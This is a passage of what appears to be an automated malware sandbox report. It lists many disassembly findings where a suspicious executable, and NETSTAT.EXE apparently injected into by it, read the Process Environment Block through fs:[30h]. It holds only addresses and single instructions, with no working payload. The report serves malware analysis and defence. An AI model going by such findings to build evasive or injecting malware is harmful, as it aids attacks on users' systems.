            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0125740D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0125740D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206C0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206C0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206C0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206C0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01254015 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01254015 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119B02A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119B02A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119B02A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119B02A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01207016 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01207016 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01207016 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B002D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B002D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B002D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B002D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B002D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BBC2C mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A0050 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A0050 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BA44B mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01251074 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01242073 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121C450 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121C450 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A746D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119849B mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01189080 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BF0BF mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BF0BF mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BF0BF mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01203884 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01203884 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C90AF mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B20A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B20A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B20A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B20A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B20A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B20A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206CF0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206CF0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206CF0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012414FB mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121B8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121B8D0 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121B8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121B8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121B8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121B8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01258CD6 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011858EC mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AF716 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BA70E mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BA70E mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0125070D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0125070D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BE730 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121FF10 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121FF10 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01184F2E mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01184F2E mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0124131B mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118F358 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01258F6A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118DB40 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119EF40 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B3B7A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B3B7A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118DB60 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119FF60 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01258B58 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01255BA5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BB390 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2397 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01198794 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01191B8F mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01191B8F mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0123D380 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0124138A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01207794 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01207794 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01207794 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B4BAD mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B4BAD mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B4BAD mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C37F5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012053CA mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012053CA mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B03E2 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B03E2 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B03E2 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B03E2 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B03E2 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B03E2 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A3A1C mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BA61C mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BA61C mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01185210 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01185210 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01185210 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01185210 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118AA16 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118AA16 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01198A0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118C600 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118C600 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118C600 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B8E00 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0123FE3F mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C4A2C mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C4A2C mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118E620 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0123B260 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0123B260 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01258A62 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01189240 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01189240 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01189240 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01189240 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01197E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01197E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01197E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01197E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01197E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01197E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C927A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AAE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AAE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AAE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AAE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AAE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119766D mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01214257 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01250EA5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01250EA5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01250EA5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012046A7 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BD294 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BD294 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0121FE87 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119AAB0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119AAB0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BFAB0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011852A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011852A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011852A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011852A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011852A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2ACB mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B36CC mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C8EC7 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0123FEC0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01258ED6 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B16E0 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011976E2 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2AE4 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D736CC mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DFFEC0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D88EC7 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D716E0 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E18ED6 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D576E2 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7D294 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7D294 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E10EA5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E10EA5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E10EA5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDFE87 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5AAB0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5AAB0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7FAB0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D452A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D452A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D452A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D452A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D452A5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC46A7 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E18A62 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DD4257 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D49240 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D49240 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D49240 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D49240 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D57E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D57E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D57E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D57E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D57E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D57E41 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D8927A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6AE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6AE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6AE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6AE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6AE73 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5766D mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DFB260 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DFB260 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D63A1C mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7A61C mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7A61C mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4C600 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4C600 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4C600 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D78E00 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D58A0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DFFE3F mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4E620 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D837F5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D58794 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E15BA5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7B390 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC7794 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC7794 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC7794 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D51B8F mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D51B8F mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DFD380 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E0138A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E18F6A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4F358 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4DB40 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5EF40 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D73B7A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D73B7A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4DB60 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5FF60 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E18B58 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6F716 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDFF10 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDFF10 mov eax, dword ptr fs:[00000030h]
